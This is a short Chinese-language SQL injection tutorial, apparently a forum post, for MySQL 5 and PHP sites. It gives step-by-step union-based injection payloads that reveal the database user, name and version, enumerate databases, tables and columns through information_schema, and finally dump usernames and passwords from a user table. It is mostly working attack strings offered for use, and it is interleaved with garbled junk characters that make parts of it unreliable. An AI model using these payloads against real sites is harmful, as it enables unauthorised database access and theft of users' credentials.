mysql盲注手册

admin

1 G4 i1 ?5 M7 @& w. P) N教程内容:Mysql 5+php 注入

3 ?0 c3 s6 @4 L4 ?9 e* l

一.查看MYSQL基本信息(库名,版本,用户)

+ |/ s: |% P3 a: L2 {and 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*
4 j  k9 P$ f. k" `
; p6 k& e& k. Y; _% l* P# n二.查数据库

and 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8  from information_schema.SCHEMATA limit 1,1/*
limit 从0开始递增，查询到3时浏览器返回错误，说明存在2个库。
. b; u1 q2 q$ z) N$ e6 i
& L- _, t% p6 M, g( {三.暴表

and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*
5 p6 x! i) V5 O) W' e1 W# g
limit 从0开始递增，查询到14时浏览器返回错误，说明此库存在13个表。
& \3 N8 i7 I  T/ H3 m
四.暴字段
6 _; D: @! I* m- D0 ?2 k) A
; B1 n: e* W! v& H  e% pand 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*
6 W( T1 S; B; E, Y  r- X
' M9 o( U8 M( |- U* e+ l% |5 tlimit 从0开始递增，查询到时浏览器返回错误，说明此表存在N-1个列。

( \: _6 \& J- A2 \五.暴数据
: E$ ?/ v- M- Q! m' B! }
9 H7 I9 {1 f6 d4 z7 Cand 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*


这里直接暴明文的密码，大多时候我们遇到的是MD5加密之后的密文。